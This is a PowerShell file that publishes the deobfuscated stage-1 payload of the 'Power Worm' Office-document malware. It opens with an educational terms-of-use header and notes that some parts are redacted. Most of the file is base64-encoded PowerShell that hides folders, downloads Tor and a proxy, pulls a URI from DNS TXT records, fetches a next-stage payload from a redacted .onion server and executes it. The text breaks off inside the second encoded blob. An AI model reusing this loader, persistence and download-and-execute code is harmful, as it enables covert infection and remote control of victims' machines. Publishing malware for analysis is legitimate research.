PowerWorm_Part_2.ps1

<#
TERMS OF USE: Considering I am not the original author of this malware, I
cannot apply any formal license to this work. I can, however, apply a
gentleman's clause to the use of this script which is dictated as follows:

DBAD Clause v0.1
----------------
Don't be a douche. This malware has little to no legitimate use and as such, I
reserve the right to publicly shame you if you are caught using this for
malicious purposes. The sole purpose of publishing this malware is to inform
and educate.

Lastly, I have redacted portions of the malware where necessary. Redactions
will be evident in the code.
#>

<#
STEP #2
This is the fully deobfuscated and cleaned up version of the XLS Power Worm stage 1 payload.
This was downloaded from "http://REDACTEDREDACTED.onion/get.php?s=setup&mom=REDACTEDREDACTED&uid=$((Get-WmiObject Win32_ComputerSystemProduct).UUID)".

This payload performs the following actions:
1) Persists three encoded payloads to the registry
2) Collects and reports system information to the C2 server
3) Infects all word documents and excel spreadsheets
4) Downloads and executes a stage 2 payload (if available)
#>

# This payload is decoded, deobfuscated, cleaned up, and analyzed in PowerWorm_Part5.ps1
$EncodedPayload1 = 'PAAjACAAVABFAFIATQBTACAATwBGACAAVQBTAEUAOgAgAEMAbwBuAHMAaQBkAGUAcgBpAG4AZwAgAEkAIABhAG0AIABuAG8AdAAgAHQAaABlACAAbwByAGkAZwBpAG4AYQBsACAAYQB1AHQAaABvAHIAIABvAGYAIAB0AGgAaQBzACAAbQBhAGwAdwBhAHIAZQAsACAASQAgAGMAYQBuAG4AbwB0ACAAYQBwAHAAbAB5ACAAYQBuAHkAIABmAG8AcgBtAGEAbAAgAGwAaQBjAGUAbgBzAGUAIAB0AG8AIAB0AGgAaQBzACAAdwBvAHIAawAuACAASQAgAGMAYQBuACwAIABoAG8AdwBlAHYAZQByACwAIABhAHAAcABsAHkAIABhACAAZwBlAG4AdABsAGUAbQBhAG4AJwBzACAAYwBsAGEAdQBzAGUAIAB0AG8AIAB0AGgAZQAgAHUAcwBlACAAbwBmACAAdABoAGkAcwAgAHMAYwByAGkAcAB0ACAAdwBoAGkAYwBoACAAaQBzACAAZABpAGMAdABhAHQAZQBkACAAYQBzACAAZgBvAGwAbABvAHcAcwA6ACAAIABEAEIAQQBEACAAQwBsAGEAdQBzAGUAIAB2ADAALgAxACAALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAgAEQAbwBuACcAdAAgAGIAZQAgAGEAIABkAG8AdQBjAGgAZQAuACAAVABoAGkAcwAgAG0AYQBsAHcAYQByAGUAIABoAGEAcwAgAGwAaQB0AHQAbABlACAAdABvACAAbgBvACAAbABlAGcAaQB0AGkAbQBhAHQAZQAgAHUAcwBlACAAYQBuAGQAIABhAHMAIABzAHUAYwBoACwAIABJACAAcgBlAHMAZQByAHYAZQAgAHQAaABlACAAcgBpAGcAaAB0ACAAdABvACAAcAB1AGIAbABpAGMAbAB5ACAAcwBoAGEAbQBlACAAeQBvAHUAIABpAGYAIAB5AG8AdQAgAGEAcgBlACAAYwBhAHUAZwBoAHQAIAB1AHMAaQBuAGcAIAB0AGgAaQBzACAAZgBvAHIAIABtAGEAbABpAGMAaQBvAHUAcwAgAHAAdQByAHAAbwBzAGUAcwAuACAAVABoAGUAIABzAG8AbABlACAAcAB1AHIAcABvAHMAZQAgAG8AZgAgAHAAdQBiAGwAaQBzAGgAaQBuAGcAIAB0AGgAaQBzACAAbQBhAGwAdwBhAHIAZQAgAGkAcwAgAHQAbwAgAGkAbgBmAG8AcgBtACAAYQBuAGQAIABlAGQAdQBjAGEAdABlAC4AIAAgAEwAYQBzAHQAbAB5ACwAIABJACAAaABhAHYAZQAgAHIAZQBkAGEAYwB0AGUAZAAgAHAAbwByAHQAaQBvAG4AcwAgAG8AZgAgAHQAaABlACAAbQBhAGwAdwBhAHIAZQAgAHcAaABlAHIAZQAgAG4AZQBjAGUAcwBzAGEAcgB5AC4AIABSAGUAZABhAGMAdABpAG8AbgBzACAAdwBpAGwAbAAgAGIAZQAgAGUAdgBpAGQAZQBuAHQAIABpAG4AIAB0AGgAZQAgAGMAbwBkAGUALgAgACMAPgAgACAAPAAjACAAVABoAGkAcwAgAHAAYQB5AGwAbwBhAGQAIABpAHMAIABpAGQAZQBuAHQAaQBjAGEAbAAgAHQAbwAgAHQAaABhAHQAIABvAGYAIABQAG8AdwBlAHIAVwBvAHIAbQBfAFAAYQByAHQAMQAuAHAAcwAxAC4AIABUAGgAZQAgAG8AbgBsAHkAIABkAGkAZgBmAGUAcgBlAG4AYwBlACAAdwBpAGwAbAAgAGIAZQAgAHQAaABlACAARwBVAEkARAAgAGkAbgAgAHQAaABlACAAJwBtAG8AbQAnACAAQwAyACAAVQBSAEkAIABwAGEAcgBhAG0AZQB0AGUAcgAuACAAIwA+ACAAIAAjACAASQBnAG4AbwByAGUAIABhAGwAbAAgAGUAcgByAG8AcgBzACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAgACAAIwAgAFQAaABlACAAbQBhAGMAaABpAG4AZQAgAEcAVQBJAEQAIABpAHMAIAB1AHMAZQBkACAAdABoAHIAbwB1AGcAaABvAHUAdAAgAFAAbwB3AGUAcgAgAFcAbwByAG0AIAAkAE0AYQBjAGgAaQBuAGUARwB1AGkAZAAgAD0AIAAoAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAApAC4AVQBVAEkARAAgACAAIwAgAEkAZgAgAHQAaABlACAAcABhAHkAbABvAGEAZAAgAGkAcwAgAGEAbAByAGUAYQBkAHkAIABwAGUAcgBzAGkAcwB0AGUAZAAgAGkAbgAgAHQAaABlACAAcgBlAGcAaQBzAHQAcgB5ACwAIABrAGkAbABsACAAIABpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACkAIAAtAG0AYQB0AGMAaAAgACQATQBhAGMAaABpAG4AZQBHAHUAaQBkACkAIAB7ACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEkAZAAgACQAUABJAEQAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAB9ACAAIAAjACAAVABoAGkAcwAgAGYAdQBuAGMAdABpAG8AbgAgAHIAZQB0AHIAaQBlAHYAZQBzACAAYQAgAFUAUgBJACAAZgByAG8AbQAgAGEAIABEAE4AUwAgAFQAWABUACAAcgBlAGMAbwByAGQALAAgAGQAbwB3AG4AbABvAGEAZABzACAAYQAgAHoAaQBwACAAZgBpAGwAZQAsACAAYQBuAGQAIABlAHgAdAByAGEAYwB0AHMAIABpAHQAIABmAHUAbgBjAHQAaQBvAG4AIABHAGUAdAAtAEQAbgBzAFQAWABUAFIAZQBjAG8AcgBkACgAJABEAG4AcwBIAG8AcwB0ACkAIAB7ACAAIAAgACAAIAAkAFoAaQBwAEYAaQBsAGUAVQByAGkAIAA9ACAAKAAoACgASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAIgBuAHMAbABvAG8AawB1AHAAIAAtAHEAdQBlAHIAeQB0AHkAcABlAD0AdAB4AHQAIAAkAEQAbgBzAEgAbwBzAHQAIAA4AC4AOAAuADgALgA4ACIAKQAgAC0AbQBhAHQAYwBoACAAJwAiACcAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcAIgAnACwAIAAnACcAKQBbADAAXQAuAFQAcgBpAG0AKAApACAAIAAgACAAIAAkAFcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFoAaQBwAEYAaQBsAGUAVQByAGkALAAgACQAWgBpAHAAUABhAHQAaAApACAAIAAgACAAIAAkAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgAD0AIAAkAFMAaABlAGwAbAAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJABaAGkAcABQAGEAdABoACkALgBJAHQAZQBtAHMAKAApADsAIAAgACAAIAAgACMAIABEAGUAYwBvAG0AcAByAGUAcwBzACAAZgBpAGwAZQBzACAAIAAgACAAIAAkAFMAaABlAGwAbAAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJABUAG8AbwBsAHMAUABhAHQAaAApAC4AQwBvAHAAeQBIAGUAcgBlACgAJABEAGUAcwB0AGkAbgBhAHQAaQBvAG4ALAAgADIAMAApACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAFoAaQBwAFAAYQB0AGgAIAB9ACAAIAAkAFQAbwBvAGwAcwBQAGEAdABoACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABFAG4AdgA6AEEAUABQAEQAQQBUAEEAIAAkAE0AYQBjAGgAaQBuAGUARwB1AGkAZAAgACAAIwAgAE0AYQByAGsAIAB0AGgAZQAgAHAAYQB0AGgAIAB3AGgAZQByAGUAIAB0AG8AbwBsAHMAIABhAHIAZQAgAGUAeAB0AHIAYQBjAHQAZQBkACAAYQBzACAAJwBIAGkAZABkAGUAbgAnACwAIAAnAFMAeQBzAHQAZQBtACcALAAgACcATgBvAHQAQwBvAG4AdABlAG4AdABJAG4AZABlAHgAZQBkACcAIABpAGYAIAAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAVABvAG8AbABzAFAAYQB0AGgAKQApACAAewAgACAAIAAgACAAJABEAGkAcgBlAGMAdABvAHIAeQAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAIAAtAFAAYQB0AGgAIAAkAFQAbwBvAGwAcwBQAGEAdABoACAAIAAgACAAIAAkAEQAaQByAGUAYwB0AG8AcgB5AC4AQQB0AHQAcgBpAGIAdQB0AGUAcwAgAD0AIAAnAEgAaQBkAGQAZQBuACcALAAgACcAUwB5AHMAdABlAG0AJwAsACAAJwBOAG8AdABDAG8AbgB0AGUAbgB0AEkAbgBkAGUAeABlAGQAJwAgAH0AIAAgACQAVABvAHIAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAbwBvAGwAcwBQAGEAdABoACAAJwB0AG8AcgAuAGUAeABlACcAIAAkAFAAbwBsAGkAcABvACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABUAG8AbwBsAHMAUABhAHQAaAAgACcAcABvAGwAaQBwAG8ALgBlAHgAZQAnACAAJABaAGkAcABQAGEAdABoACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABUAG8AbwBsAHMAUABhAHQAaAAgACgAJABNAGEAYwBoAGkAbgBlAEcAdQBpAGQAIAArACAAJwAuAHoAaQBwACcAKQAgACQAVwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAIAAkAFMAaABlAGwAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFMAaABlAGwAbAAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgAgACAAaQBmACAAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAFQAbwByACkAIAAtAG8AcgAgACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAUABvAGwAaQBwAG8AKQApACAAewAgACAAIAAgACAARwBlAHQALQBEAG4AcwBUAFgAVABSAGUAYwBvAHIAZAAgACcAUgBFAEQAQQBDAFQARQBEAFIARQBEAEEAQwBUAEUARAAuAGQAZQAnACAAfQAgACAAaQBmACAAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAFQAbwByACkAIAAtAG8AcgAgACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAUABvAGwAaQBwAG8AKQApACAAewAgACAAIAAgACAARwBlAHQALQBEAG4AcwBUAFgAVABSAGUAYwBvAHIAZAAgACcAUgBFAEQAQQBDAFQARQBEAFIARQBEAEEAQwBUAEUARAAuAGMAYwAnACAAfQAgACAAJABUAG8AcgBSAG8AYQBtAGkAbgBnAEwAbwBnACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABUAG8AbwBsAHMAUABhAHQAaAAgACcAcgBvAGEAbQBpAG4AZwBsAG8AZwAnACAAIwAgAFMAdABhAHIAdAAgAFQAbwByACAAYQBuAGQAIABtAGEAaQBuAHQAYQBpAG4AIABhAG4AIABpAG4AaQB0AGkAYQBsAGkAegBhAHQAaQBvAG4AIABsAG8AZwAgAGYAaQBsAGUAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABUAG8AcgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiACAALQAtAEwAbwBnACAAYAAiAG4AbwB0AGkAYwBlACAAZgBpAGwAZQAgACQAVABvAHIAUgBvAGEAbQBpAG4AZwBMAG8AZwBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAgACMAIABXAGEAaQB0ACAAZgBvAHIAIABUAG8AcgAgAHQAbwAgAGYAaQBuAGkAcwBoACAAaQBuAGkAdABpAGEAbABpAHoAaQBuAGcAIABkAG8AIAB7ACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAxACAAIAAgACAAIAAkAEwAbwBnAEMAbwBuAHQAZQBuAHQAcwAgAD0AIABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAFQAbwByAFIAbwBhAG0AaQBuAGcATABvAGcAIAB9ACAAdwBoAGkAbABlACAAKAAhACgAJABMAG8AZwBDAG8AbgB0AGUAbgB0AHMAIAAtAG0AYQB0AGMAaAAgACcAQgBvAG8AdABzAHQAcgBhAHAAcABlAGQAIAAxADAAMAAlADoAIABEAG8AbgBlAC4AJwApACkAIAAgACMAIABTAHQAYQByAHQAIABwAG8AbABpAHAAbwAgAHAAcgBvAHgAeQAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAFAAbwBsAGkAcABvACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACcAcwBvAGMAawBzAFAAYQByAGUAbgB0AFAAcgBvAHgAeQA9AGwAbwBjAGEAbABoAG8AcwB0ADoAOQAwADUAMAAnACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADcAIAAkAFcAZQBiAFAAcgBvAHgAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAKAAnAGwAbwBjAGEAbABoAG8AcwB0ADoAOAAxADIAMwAnACkAIAAkAFcAZQBiAFAAcgBvAHgAeQAuAFUAcwBlAEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzACAAPQAgACQAVAByAHUAZQAgACQAVwBlAGIAQwBsAGkAZQBuAHQALgBQAHIAbwB4AHkAIAA9ACAAJABXAGUAYgBQAHIAbwB4AHkAIAAgACQAUwB0AGEAZwBlADEAVQByAGkAIAA9ACAAJwBoAHQAdABwADoALwAvAFIARQBEAEEAQwBUAEUARABSAEUARABBAEMAVABFAEQALgBvAG4AaQBvAG4ALwBnAGUAdAAuAHAAaABwAD8AcwA9AHMAZQB0AHUAcAAmAG0AbwBtAD0AUgBFAEQAQQBDAFQARQBEAFIARQBEAEEAQwBUAEUARAAmAHUAaQBkAD0AJwAgACsAIAAkAE0AYQBjAGgAaQBuAGUARwB1AGkAZAAgACAAdwBoAGkAbABlACAAKAAhACQAUwB0AGEAZwBlADEAUABhAHkAbABvAGEAZAApACAAewAgACAAIAAgACAAJABTAHQAYQBnAGUAMQBQAGEAeQBsAG8AYQBkAD0AJABXAGUAYgBDAGwAaQBlAG4AdAAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACQAUwB0AGEAZwBlADEAVQByAGkAKQAgAH0AIAAgAGkAZgAgACgAJABTAHQAYQBnAGUAMQBQAGEAeQBsAG8AYQBkACAALQBuAGUAIAAnAG4AbwBuAGUAJwApACAAewAgACAAIAAgACAAIwAgAEUAeABlAGMAdQB0AGUAIAB0AGgAZQAgAHMAdABhAGcAZQAgADEAIABwAGEAeQBsAG8AYQBkACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAFMAdABhAGcAZQAxAFAAYQB5AGwAbwBhAGQAIAB9AA=='

# This payload is decoded, deobfuscated, cleaned up, and analyzed in PowerWorm_Part4.ps1
$EncodedPayload2 = 'PAAjACAAVABFAFIATQBTACAATwBGACAAVQBTAEUAOgAgAEMAbwBuAHMAaQBkAGUAcgBpAG4AZwAgAEkAIABhAG0AIABuAG8AdAAgAHQAaABlACAAbwByAGkAZwBpAG4AYQBsACAAYQB1AHQAaABvAHIAIABvAGYAIAB0AGgAaQBzACAAbQBhAGwAdwBhAHIAZQAsACAASQAgAGMAYQBuAG4AbwB0ACAAYQBwAHAAbAB5ACAAYQBuAHkAIABmAG8AcgBtAGEAbAAgAGwAaQBjAGUAbgBzAGUAIAB0AG8AIAB0AGgAaQBzACAAdwBvAHIAawAuACAASQAgAGMAYQBuACwAIABoAG8AdwBlAHYAZQByACwAIABhAHAAcABsAHkAIABhACAAZwBlAG4AdABsAGUAbQBhAG4AJwBzACAAYwBsAGEAdQBzAGUAIAB0AG8AIAB0AGgAZQAgAHUAcwBlACAAbwBmACAAdABoAGkAcwAgAHMAYwByAGkAcAB0ACAAdwBoAGkAYwBoACAAaQBzACAAZABpAGMAdABhAHQAZQBkACAAYQBzACAAZgBvAGwAbABvAHcAcwA6ACAAIABEAEIAQQBEACAAQwBsAGEAdQBzAGUAIAB2ADAALgAxACAALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAgAEQAbwBuACcAdAAgAGIAZQAgAGEAIABkAG8AdQBjAGgAZQAuACAAVABoAGkAcwAgAG0AYQBsAHcAYQByAGUAIABoAGEAcwAgAGwAaQB0AHQAbABlACAAdABvACAAbgBvACAAbABlAGcAaQB0AGkAbQBhAHQAZQAgAHUAcwBlACAAYQBuAGQAIABhAHMAIABzAHUAYwBoACwAIABJACAAcgBlAHMAZQByAHYAZQAgAHQAaABlACAAcgBpAGcAaAB0ACAAdABvACAAcAB1AGIAbABpAGMAbAB5ACAAcwBoAGEAbQBlACAAeQBvAHUAIABpAGYAIAB5AG8AdQAgAGEAcgBlACAAYwBhAHUAZwBoAHQAIAB1AHMAaQBuAGcAIAB0AGgAaQBzACAAZgBvAHIAIABtAGEAbABpAGMAaQBvAHUAcwAgAHAAdQByAHAAbwBzAGUAcwAuACAAVABoAGUAIABzAG8AbABlACAAcAB1AHIAcABvAHMAZQAgAG8AZgAgAHAAdQBiAGwAaQBzAGgAaQBuAGcAIAB0AGgAaQBzACAAbQBhAGwAdwBhAHIAZQAgAGkAcwAgAHQAbwAgAGkAbgBmAG8AcgBtACAAYQBuAGQAIABlAGQAdQBjAGEAdABlAC4AIAAgAEwAYQBzAHQAbAB5ACwAIABJACAAaABhAHYAZQAgAHIAZQBkAGEAYwB0AGUAZAAgAHAAbwByAHQAaQBvAG4AcwAgAG8AZgAgAHQAaABlACAAbQBhAGwAdwBhAHIAZQAgAHcAaABlAHIAZQAgAG4AZQBjAGUAcwBzAGEAcgB5AC4AIABSAGUAZABhAGMAdABpAG8AbgBzACAAdwBpAGwAbAAgAGIAZQAgAGUAdgBpAGQAZQBuAHQAIABpAG4AIAB0AGgAZQAgAGMAbwBkAGUALgAgACMAPgAgACAAPAAjACAAVABoAGkAcwAgAGkAcwAgAHQAaABlACAAZgB1AGwAbAB5ACAAZABlAG8AYgBmAHUAcwBjAGEAdABlAGQAIABhAG4AZAAgAGMAbABlAGEAbgBlAGQAIAB1AHAAIAB2AGUAcgBzAGkAbwBuACAAbwBmACAAdABoAGUAIABwAGEAeQBsAG8AYQBkACAAdABoAGEAdAAgAHcAYQBzACAAcABlAHIAcwBpAHMAdABlAGQAIAB2AGkAYQAgAGEAIABWAEIAUwBjAHIAaQBwAHQAIABsAG8AYwBhAHQAZQBkACAAaABlAHIAZQA6ACAAIgAkACgAJABFAG4AdgA6AEEAUABQAEQAQQBUAEEAKQBcACQAKAAoAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAApAC4AVQBVAEkARAApAFwAJAAoACgARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAEMAbwBtAHAAdQB0AGUAcgBTAHkAcwB0AGUAbQBQAHIAbwBkAHUAYwB0ACkALgBVAFUASQBEACkALgB2AGIAcwAiACAAIABUAGgAZQAgAHAAdQByAHAAbwBzAGUAIABvAGYAIAB0AGgAaQBzACAAcABhAHkAbABvAGEAZAAgAGkAcwAgAHIAZQBpAG4AZgBlAGMAdAAgAHQAaABlACAAbQBhAGMAaABpAG4AZQAgAGEAIABzAHQAYQByAHQAdQBwAC4AIAAjAD4AIAAgACMAIABJAGcAbgBvAHIAZQAgAGEAbABsACAAZQByAHIAbwByAHMAIAAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnACAAIAAjACAAVABoAGUAIABtAGEAYwBoAGkAbgBlACAARwBVAEkARAAgAGkAcwAgAHUAcwBlAGQAIAB0AGgAcgBvAHUAZwBoAG8AdQB0ACAAUABvAHcAZQByACAAVwBvAHIAbQAgACQATQBhAGMAaABpAG4AZQBHAHUAaQBkACAAPQAgACgARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAEMAbwBtAHAAdQB0AGUAcgBTAHkAcwB0AGUAbQBQAHIAbwBkAHUAYwB0ACkALgBVAFUASQBEACAAIAAjACAASQBmACAAdABoAGUAIABwAGEAeQBsAG8AYQBkACAAaQBzACAAYQBsAHIAZQBhAGQAeQAgAHAAZQByAHMAaQBzAHQAZQBkACAAaQBuACAAdABoAGUAIAByAGUAZwBpAHMAdAByAHkALAAgAGsAaQBsAGwAIAAgAGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AKQAgAC0AbQBhAHQAYwBoACAAJABNAGEAYwBoAGkAbgBlAEcAdQBpAGQAKQAgAHsAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ASQBkACAAJABQAEkARAAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAH0AIAAgACMAIABUAGgAaQBzACAAZgB1AG4AYwB0AGkAbwBuACAAcgBlAHQAcgBpAGUAdgBlAHMAIABhACAAVQBSAEkAIABmAHIAbwBtACAAYQAgAEQATgBTACAAVABYAFQAIAByAGUAYwBvAHIAZAAsACAAZABvAHcAbgBsAG8AYQBkAHMAIABhACAAegBpAHAAIABmAGkAbABlACwAIABhAG4AZAAgAGUAeAB0AHIAYQBjAHQAcwAgAGkAdAAgAGYAdQBuAGMAdABpAG8AbgAgAEcAZQB0AC0ARABuAHMAVABYAFQAUgBlAGMAbwByAGQAKAAkAEQAbgBzAEgAbwBzAHQAKQAgAHsAIAAgACAAIAAgACQAWgBpAHAARgBpAGwAZQBVAHIAaQAgAD0AIAAoACgAKABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAiAG4AcwBsAG8AbwBrAHUAcAAgAC0AcQB1AGUAcgB5AHQAeQBwAGUAPQB0AHgAdAAgACQARABuAHMASABvAHMAdAAgADgALgA4AC4AOAAuADgAIgApACAALQBtAGEAdABjAGgAIAAnACIAJwApACAALQByAGUAcABsAGEAYwBlACAAJwAiACcALAAgACcAJwApAFsAMABdAC4AVAByAGkAbQAoACkAIAAgACAAIAAgACQAVwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAWgBpAHAARgBpAGwAZQBVAHIAaQAsACAAJABaAGkAcABQAGEAdABoACkAIAAgACAAIAAgACQARABlAHMAdABpAG4AYQB0AGkAbwBuACAAPQAgACQAUwBoAGUAbABsAC4ATgBhAG0AZQBTAHAAYQBjAGUAKAAkAFoAaQBwAFAAYQB0AGgAKQAuAEkAdABlAG0AcwAoACkAOwAgACAAIAAgACAAIwAgAEQAZQBjAG8AbQBwAHIAZQBzAHMAIABmAGkAbABlAHMAIAAgACAAIAAgACQAUwBoAGUAbABsAC4ATgBhAG0AZQBTAHAAYQBjAGUAKAAkAFQAbwBvAGwAcwBQAGEAdABoACkALgBDAG8AcAB5AEgAZQByAGUAKAAkAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAsACAAMgAwACkAIAAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACQAWgBpAHAAUABhAHQAaAAgAH0AIAAgACQAVABvAG8AbABzAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAEUAbgB2ADoAQQBQAFAARABBAFQAQQAgACQATQBhAGMAaABpAG4AZQBHAHUAaQBkACAAIAAjACAATQBhAHIAawAgAHQAaABlACAAcABhAHQAaAAgAHcAaABlAHIAZQAgAHQAbwBvAGwAcwAgAGEAcgBlACAAZQB4AHQAcgBhAGMAdABlAGQAIABhAHMAIAAnAEgAaQBkAGQAZQBuACcALAAgACcAUwB5AHMAdABlAG0AJwAsACAAJwBOAG8AdABDAG8AbgB0AGUAbgB0AEkAbgBkAGUAeABlAGQAJwAgAGkAZgAgACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJABUAG8AbwBsAHMAUABhAHQAaAApACkAIAB7ACAAIAAgACAAIAAkAEQAaQByAGUAYwB0AG8AcgB5ACAAPQAgAE4AZQB3AC0ASQB0AGUAbQAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQAgAC0AUABhAHQAaAAgACQAVABvAG8AbABzAFAAYQB0AGgAIAAgACAAIAAgACQARABpAHIAZQBjAHQAbwByAHkALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACcASABpAGQAZABlAG4AJwAsACAAJwBTAHkAcwB0AGUAbQAnACwAIAAnAE4AbwB0AEMAbwBuAHQAZQBuAHQASQBuAGQAZQB4AGUAZAAnACAAfQAgACAAJABUAG8AcgAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAVABvAG8AbABzAFAAYQB0AGgAIAAnAHQAbwByAC4AZQB4AGUAJwAgACQAUABvAGwAaQBwAG8AIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAbwBvAGwAcwBQAGEAdABoACAAJwBwAG8AbABpAHAAbwAuAGUAeABlACcAIAAkAFoAaQBwAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAbwBvAGwAcwBQAGEAdABoACAAKAAkAE0AYQBjAGgAaQBuAGUARwB1AGkAZAAgACsAIAAnAC4AegBpAHAAJwApACAAJABXAGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAgACQAUwBoAGUAbABsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAUwBoAGUAbABsAC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuACAAIABpAGYAIAAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAVABvAHIAKQAgAC0AbwByACAAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJABQAG8AbABpAHAAbwApACkAIAB7ACAAIAAgACAAIABHAGUAdAAtAEQAbgBzAFQAWABUAFIAZQBjAG8AcgBkACAAJwBSAEUARABBAEMAVABFAEQAUgBFAEQAQQBDAFQARQBEAC4AZABlACcAIAB9ACAAIABpAGYAIAAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAVABvAHIAKQAgAC0AbwByACAAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJABQAG8AbABpAHAAbwApACkAIAB7ACAAIAAgACAAIABHAGUAdAAtAEQAbgBzAFQAWABUAFIAZQBjAG8AcgBkACAAJwBSAEUARABBAEMAVABFAEQAUgBFAEQAQQBDAFQARQBEAC4AYwBjACcAIAB9ACAAIAAkAFQAbwByAFIAbwBhAG0AaQBuAGcATABvAGcAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAbwBvAGwAcwBQAGEAdABoACAAJwByAG8AYQBtAGkAbgBnAGwAbwBnACcAIAAjACAAUwB0AGEAcgB0ACAAVABvAHIAIABhAG4AZAAgAG0AYQBpAG4AdABhAGkAbgAgAGEAbgAgAGkAbgBp